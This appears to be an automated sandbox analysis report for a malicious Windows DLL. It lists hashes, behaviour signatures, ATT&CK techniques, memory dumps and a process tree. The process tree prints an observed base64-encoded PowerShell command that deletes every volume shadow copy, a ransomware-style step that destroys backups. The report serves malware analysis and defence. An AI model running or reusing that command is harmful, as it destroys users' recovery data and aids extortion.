Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01-02-2022 12:54

General

  • Target

    60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b.dll

  • Size

    164KB

  • MD5

    e6e9ceb76b4638e141a968dcac80b341

  • SHA1

    8293041a8355432672249a5e4d543adc6c5adba7

  • SHA256

    60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b

  • SHA512

    98d9fceb4965ccfdbd8524d1d833543440ef044a47dca690ff0a42b6e24d4dc46fea8d6a2cd5d41ee735d10946e714b2c655fe0f27ad000d7b9db8ef06e99eea

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:672
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:588
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1044

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/672-55-0x000007FEFC321000-0x000007FEFC323000-memory.dmp
      Filesize

      8KB

    • memory/672-57-0x0000000002740000-0x0000000002742000-memory.dmp
      Filesize

      8KB

    • memory/672-58-0x0000000002742000-0x0000000002744000-memory.dmp
      Filesize

      8KB

    • memory/672-59-0x0000000002744000-0x0000000002747000-memory.dmp
      Filesize

      12KB

    • memory/672-56-0x000007FEF35B0000-0x000007FEF410D000-memory.dmp
      Filesize

      11.4MB

    • memory/672-60-0x000000000274B000-0x000000000276A000-memory.dmp
      Filesize

      124KB

    • memory/1220-54-0x0000000076C61000-0x0000000076C63000-memory.dmp
      Filesize

      8KB